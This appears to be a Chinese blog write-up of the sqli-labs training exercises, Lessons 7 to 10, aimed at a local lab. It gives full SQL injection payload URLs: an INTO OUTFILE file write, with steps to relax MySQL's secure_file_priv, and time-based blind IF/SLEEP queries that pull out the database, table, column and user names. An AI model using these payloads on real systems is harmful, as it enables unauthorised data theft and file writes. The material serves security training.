sqli-labs-Less-7、8、9、10

Less-7

注意在要对文件进行导入导出首先得要有足够的权限,

但是mysql默认不能导入和导出文件,这与secure_file_priv的值有关(默认为null)

secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。
1、当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出

2、当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下

3、当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

用以下命令查看secure_file_priv的值

show variables like '%secure%'

在my.ini文件[mysqld]的后面加上secure_file_priv=‘’,然后重启phpstudy即可在这里插入图片描述
1、观察源码发现
在这里插入图片描述
故我们可以使用试’)) or 1=1–+进行注入来注入
在这里插入图片描述
2、进行内容导入
在这里插入图片描述
虽然报错,但是文件已经生产

http://127.0.0.1/sqli-labs-master/Less-7/?id=1'))union select version(),user(),database()into outfile "F:\\php\\PHPTutorial\\WWW\\sqli-labs-master\\Less-7\\3.txt"%23

在这里插入图片描述
注意:
1、outfire 后面的路径为绝对路径且存在
2、要有足够的权限
3、注入的内容也可以是字符串,句子
4、要想注入新内容,需要新的文件名

Less-8

观察源码发现报错注入被注释了,那么我们可以使用延时注入

在这里插入图片描述
在这里插入图片描述
尝试下使用‘or1=1–+注入

http://127.0.0.1/sqli-labs-master/Less-8/?id=1'or 1=1--+

在这里插入图片描述
这里演示下延时注入,如果有错误要等待五秒
http://127.0.0.1/sqli-labs-master/Less-8/?id=1’and If(ascii(substr(database(),1,1))=115,1,sleep(5))–+

在这里插入图片描述
其他注入请参考Less-5这篇博客

Less-9

标题是基于时间-单引号
在这里插入图片描述
所有我们使用’or1=1–+和延时报错进行注入
由于有错误需要延时五秒才行,正确的直接返回结果,所以这边直接给出命令,不贴图
1、猜数据库

http://127.0.0.1/sqli-labs-master/Less-9/?id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+

说明第一位是s,s的ascii码为115,猜第二位只要把(substr(database(),1,1))=115改成(substr(database(),2,1))=101即可(e的ASCII码为101),
以此类推,得到数据库名字为security

2、猜security的数据表

http://127.0.0.1/sqli-labs-master/Less-9/?id=1'and If(ascii(substr(select table_name from information_schema.tables where table_schema='security'limit 0,1),1,1))=101,1,sleep(5))--+

得到第一个数据库的第一位是e(其ASCII码值为101),猜第二位时只要把table_schema='security’limit 0,1),1,1))=101改成
table_schema='security’limit 0,1),2,1))=109即可,可以猜出第二位为m,以此类推得到emails
猜第二个数据库
table_schema='security’limit 0,1),1,1))=101改成
table_schema='security’limit 1,1),1,1))=114即可,
以此类推得到第二个数据表为referes

3、猜users表的列

http://127.0.0.1/sqli-labs-master/Less-9/?id=1'and If(ascii(substr(select column_name from information_schema.columns where table_name='users'limit 0,1),1,1))=105,1,sleep(5))--+

得到第一列的第一位为i,以此类推可以得到
第一列的第一个字符为id,列名为username,password

4、猜username的值

http://127.0.0.1/sqli-labs-master/Less-9/?id=1'and If(ascii(substr(select username from users limit 0,1),1,1))=68,1,sleep(5))--+

然后大家可以猜出username的所有内容

Less-10

标题为基于时间-双引号在这里插入图片描述
故只需要把less-9里的id=1’改成id=1"即可,其余命令参考less-9;

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值